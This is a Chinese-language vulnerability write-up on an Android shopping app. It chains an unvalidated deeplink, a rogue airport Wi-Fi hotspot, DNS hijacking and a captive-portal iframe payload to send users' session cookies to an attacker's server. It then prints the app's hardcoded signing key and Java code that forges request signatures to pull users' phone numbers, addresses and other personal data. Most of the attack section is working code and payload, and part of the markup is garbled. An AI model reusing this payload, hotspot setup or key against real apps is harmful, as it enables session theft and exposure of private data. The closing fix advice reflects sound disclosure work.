用户接入恶意WIFI即打开某APP,泄露用户cookie,攻击者可以通过token获取用户手机号、收藏、收货地址等
漏洞详情
查看manifest.xml有如下deeplink activity
"com.xxxx.client.android.modules.deeplink.ParseDeepLinkActivity" android:noHistory="true" android:theme="@style/Transparent" android:windowSoftInputMode="0x10">
<intent-filter>
<action android:name="com.xxxx.client.android.activity.HomeActivity"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="scheme"/>
</intent-filter>
</activity>
逆向ParseDeepLinkActivity代码
@Override // android.app.Activity
public void onCreate(Bundle arg13) {
String v0;
e v13;
Intent v1_2;
String frompage;
String v3 = "";
super.onCreate(arg13);
if (s.i()) {
try {
this.uri = this.getIntent().getData();
if (this.uri == null) {
this.finish();
return;
}
e.e.b.a.n.a.d.b();
jb.b("CT_TAG", "uri = " + this.uri);
v3 = this.uri.getQuery();
if (TextUtils.isEmpty(v3)) {
goto label_61;
} else {
this.schemabean = g.SCHEME_GETURLJSON(v3);
v3 = this.schemabean;
if (((SchemeBean)v3) == null) {
goto label_61;
}
boolean v3_1 = TextUtils.isEmpty(this.schemabean.getFrompage());
goto label_37;
}
goto label_62;
}
catch(Exception v1) {
goto label_174;
}
..
会从查询参数中获取并反序列json,得到结构SchemaBean,之后会根据bean的内容进行派发。
if(bean1 != null) {
if(g.a(v1, bean1, v6)) {
return;
}
String v7_1 = bean.getChannelName();
int v8 = -1;
switch(v7_1.hashCode()) {
case -2034194897: {
boolean v7_2 = v7_1.equals("fenlei_detail");
if(v7_2) {
v8 = 18;
}
break;
}
case 3322092: {
if(v7_1.equals("live")) {
v8 = 0;
}
break;
}
case 1288290882: {
if(v7_1.equals("wiki_all_product")) {
v8 = 40;
}
break;
}
case 1843825908: {
if(v7_1.equals("taskreward")) {
v8 = 23;
}
break;
}
case 1991869741: {
if(v7_1.equals("pinpai_detail")) {
v8 = 17;
}
break;
}
...
case 3277: {
if(v7_1.equals("h5")) {
v8 = 60;
}
break;
}
渠道非常多,h5表示要打开h5页面,如下代码会通过路由寻找跳转到对应的activity
case 60: {
if(("1".equals(bean.getLogin())) && !e.e.b.a.b.c.Ya()) {
Ea.a(v1, 0x392FC);
return;
}
b v3_19 = e.a().a("path_activity_zdm_web_browser", "group_route_browser");
v3_19.putstring("url", bean.getLinkVal());
v3_19.putstring("sub_type", "h5");
v3_19.putstring("from", e.e.b.a.u.h.a(v6));
v3_19.t();
goto label_1102;
}
逆向路由注册代码,loadInto为路由统一注册接口,找到对应的activity为HybridActivity
public class o implements b {
@Override // com.xxxx.android.router.api.e.b
public void loadInto(Map arg8) {
arg8.put("path_activity_zdm_web_browser", a.a(e.e.a.c.a.a.a.ACTIVITY, HybridActivity.class, "path_activity_zdm_web_browser", "group_route_browser", null, -1, 0x80000000));
}
}
分析HybridActivity的onCreate方法,里面初始化webview并且loadUrl
@Override // com.xxxx.client.android.base.BaseActivity
protected void onCreate(Bundle arg5) {
super.onCreate(arg5);
this.A = new HybridPresenter(this, this.za(), this.getIntent().getStringExtra("link_type"), this.getIntent().getStringExtra("sub_type"));
if(com.xxxx.client.android.hybrid.b.a.a.TRANSPARENT == this.P().h()) {
int v5 = Build.VERSION.SDK_INT;
if(v5 >= 21) {
int v0 = 0x500;
if(v5 >= 23 && this.P().l() == 1) {
v0 = 0x2500;
}
this.getWindow().getDecorView().setSystemUiVisibility(v0);
this.getWindow().setStatusBarColor(ContextCompat.getColor(this.getContext(), 0x106000D));
}
}
this.getLifecycle().a(this.A);
if(2 == this.A.b(this.getIntent())) {
return;
}
this.La();
this.y = this.init_webview();
this.A.a(this.getIntent());//这里会同步cookie
}
遍历webview加载的jsBridge,发现并没有什么可利用的js接口,暂且不表。回到上文的同步cookie的代码
public static void syncCookie(String arg1) {
ia.syncCookie(arg1, false);
}
public static void syncCookie(String url, boolean arg9) { //arg9固定为false
if(!TextUtils.isEmpty(url) && ((arg9) || (url.contains(".xxxx.com")))) {
try {
jb.b("Nat: webView.syncCookie.url", url);
CookieManager v9 = CookieManager.getInstance();
String oldcookie = v9.getCookie(url);
if(oldcookie != null) {
jb.b("Nat: webView.syncCookie.oldCookie", oldcookie);
}
v9.setAcceptCookie(true);
HashMap v2_1 = Na.a(true);
if(v2_1 != null) {
if(TextUtils.isEmpty(((CharSequence)v2_1.get("sess")))) {
v9.setCookie(".xxxx.com", "sess=;");
}
if(TextUtils.isEmpty(((CharSequence)v2_1.get("ab_test")))) {
v9.setCookie(".xxxx.com", "ab_test=;");
}
if(ia.isContain_smzdm_com(url)) {
Iterator v2_2 = v2_1.entrySet().iterator();
while(true) {
boolean v3 = v2_2.hasNext();
if(!v3) {
break;
}
Object v3_1 = v2_2.next();
Map.Entry v3_2 = (Map.Entry)v3_1;
v9.setCookie(".yying.com", ((String)v3_2.getKey()) + "=" + Na.a(((String)v3_2.getValue())) + ";");
v9.setCookie(".xxxx.com", ((String)v3_2.getKey()) + "=" + Na.a(((String)v3_2.getValue())) + ";");
}
v9.setCookie(".xxxx.com", "f=" + Na.a("android"));
v9.setCookie(".xxxx.com", "v=" + Na.a("9.9.10"));
v9.setCookie(".xxxx.com", "coupon_h5=" + com.xxxx.client.base.utils.b.c().a("coupon_h5") + ";");
v9.setCookie("go.xxxx.com", "scene=" + Na.a(Aa.b) + ";");
}
}
String v8_1 = v9.getCookie(url);
if(v8_1 != null) {
jb.b("Nat: webView.syncCookie.newCookie", v8_1);
return;
}
}
catch(Exception v8) {
jb.b("Nat: webView.syncCookie failed", v8.toString());
return;
}
}
}
以上代码的意义是为.xxxx.com和.yying.com设置cookie,如果URL的域名是其子域名,那么webview在访问该URL时会自动带上cookie。但是并没有校验URL是否为HTTPS,这里可以是HTTP,可以构造DNS劫持。
攻击过程
搭建恶意WIFI
虚拟机安装kali,再通过apt安装hostapd、dnsmasq和nginx,硬件使用USB无线网卡tplink WN722N。
1、启动热点
在hostapd.conf设置SSID为SZ Airport Free,无认证,这个名字拿到机场相信一定会有所收获
2、搭建本地DNS
在dnsmasq.conf中设置DHCP及DNS,将域名a.xxxx.com解析到我的外网VPS,该VPS上设置nginx的access_log记录cookie。
3、设置captive-portal-login
华为手机进行网络评估时,会访问connectivitycheck.platform.hicloud.com。因此配置DNS使connectivitycheck.platform.hicloud.com解析为192.168.1.1,并在192.168.1.1上设置nginx使其返回302:
并在192.168.1.1/index.html中插入代码使浏览器拉起APP
POC:
{"channelName":"h5","linkVal":"http://a.xxxx.com/jsloop.html"}
经过URL编码
<iframe src="scheme://test?%7B%22channelName%22%3A%22h5%22,%22linkVal%22%3A%22http%3A%2F%2Fa.xxxx.com%2Fjsloop.html%22%7D"><br> 手机接入恶意WIFI<br> 点击连接热点SZ Airport Free,会自动通过浏览器拉起什么值得买APP,访问<a href="http://a.xxxx.com/jsloop.html,app设置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持,所以在VPS的nginx访问日志中拿到用户cookie">http://a.xxxx.com/jsloop.html,app设置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持,所以在VPS的nginx访问日志中拿到用户cookie</a>:<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127093008-31019092-603f-1.png" alt=""></p> <h2>解决签名问题</h2> <p>几乎每一个请求都有签名,现在只拿到cookie还不能成功调用接口<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091158-a7197306-603c-1.png" alt=""><br> okhttp3的intercept方法中有如下代码,用来计算sign</p> <pre><code>HashMap v5_1 = new HashMap(); v5_1.put("f", "android"); v5_1.put("v", "9.9.10"); v5_1.put("weixin", this.a()); v5_1.put("time", String.valueOf(d.b())); ... v8_3.putAll(v5_1); v8_3.put("sign", v1.a(v8_3, "POST")); <--- if(v1.b.contains(v0)) { v8_3.remove("time"); v8_3.remove("sign"); } for(Object v4_5: v8_3.entrySet()) { Map.Entry v4_6 = (Map.Entry)v4_5; v10_1.a(((String)v4_6.getKey()), ((String)v4_6.getValue())); }</code></pre> <p>此a方法就是用计算sign的,最后是用md5做摘要</p> <pre><code>private String a(Map arg6, String arg7) { String v4_1; try { StringBuilder v1 = new StringBuilder(); ArrayList v2 = new ArrayList(); for(Object v4: arg6.entrySet()) { v2.add(((Map.Entry)v4).getKey()); } Collections.sort(v2); int v3_1; for(v3_1 = 0; v3_1 < v2.size(); ++v3_1) { if(arg6.get(v2.get(v3_1)) != null && !"".equals(arg6.get(v2.get(v3_1)))) { if(v1.toString().contains("=")) { v1.append("&"); v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } else { v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } v1.append(v4_1); } } v1.append("&key="); v1.append(ZDMKeyUtil.a().b()); <--- 这里有一个key return Fa.md5(v1.toString().replace(" ", "")).toUpperCase(); } catch(Exception v6) { v6.printStackTrace(); return ""; } }</code></pre> <p>这个key通过jni接口获得</p> <pre><code>static { System.loadLibrary("lib_zdm_key"); } public static ZDMKeyUtil a() { if(ZDMKeyUtil.a == null) { ZDMKeyUtil.a = new ZDMKeyUtil(); } return ZDMKeyUtil.a; } public String b() { try { if(ZDMKeyUtil.b == null || (ZDMKeyUtil.b.isEmpty())) { ZDMKeyUtil.b = this.getDefaultNativeKey(); return ZDMKeyUtil.b + ""; } } catch(Exception v0) { v0.printStackTrace(); return ZDMKeyUtil.b + ""; } return ZDMKeyUtil.b + ""; } private native String deleteNativeKey() { } private native String getDefaultNativeKey() { }</code></pre> <p>逆向liblib_zdm_key.so<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127092918-1358e220-603f-1.png" alt=""><br> 可以看到这是一个固定值,因此现在我可以自己计算sign了,写如下java代码即可完成:</p> <pre><code>public static final String md5(String arg9) { char[] v0 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; try { byte[] v9_1 = arg9.getBytes(); MessageDigest v1 = MessageDigest.getInstance("MD5"); v1.update(v9_1); byte[] v9_2 = v1.digest(); char[] v3 = new char[v9_2.length * 2]; int v4 = 0; int v5 = 0; while(v4 < v9_2.length) { int v6 = v9_2[v4]; int v7 = v5 + 1; v3[v5] = v0[v6 >>> 4 & 15]; v5 = v7 + 1; v3[v7] = v0[v6 & 15]; ++v4; } return new String(v3).toLowerCase(); } catch(Exception v9) { v9.printStackTrace(); return ""; } } private static String computeSign(Map arg6){ String v4_1; try { StringBuilder v1 = new StringBuilder(); ArrayList v2 = new ArrayList(); for(Object v4: arg6.entrySet()) { v2.add(((Map.Entry)v4).getKey()); } Collections.sort(v2); int v3_1; for(v3_1 = 0; v3_1 < v2.size(); ++v3_1) { if(arg6.get(v2.get(v3_1)) != null && !"".equals(arg6.get(v2.get(v3_1)))) { if(v1.toString().contains("=")) { v1.append("&"); v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } else { v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } v1.append(v4_1); } } v1.append("&key="); v1.append("apr1$AwP!wRRT$gJ/q.X24poeBInlUJC"); return md5(v1.toString().replace(" ", "")).toUpperCase(); } catch(Exception v6) { v6.printStackTrace(); return ""; } } public static void main(String[] args) { String v0 = System.currentTimeMillis() + ""; HashMap v5_1 = new HashMap(); v5_1.put("f", "android"); v5_1.put("v", "9.9.10"); v5_1.put("weixin", "1"); v5_1.put("time", v0); String s = computeSign(v5_1); System.out.println(v0);//time System.out.println(s);//sign }</code></pre> <p>现在就可以调用任意接口,比如重放/personal_data/info/获取个人信息<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091321-d8c63d1c-603c-1.png" alt=""><br> 成功获取个人信息,包括手机号13288886666、收货地址、性别、生日等信息<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091333-df90bce4-603c-1.png" alt=""></p> <h2>攻击结果</h2> <p>获取了用户姓名、收货地址、手机号、生日、社区文章、评论等个人敏感信息</p> <h2>修复建议</h2> <p>1、deeplink中的URL scheme要限制不能为HTTP<br> 2、HTTP请求中签名用到的key不要硬编码,改为动态协商</p> </iframe>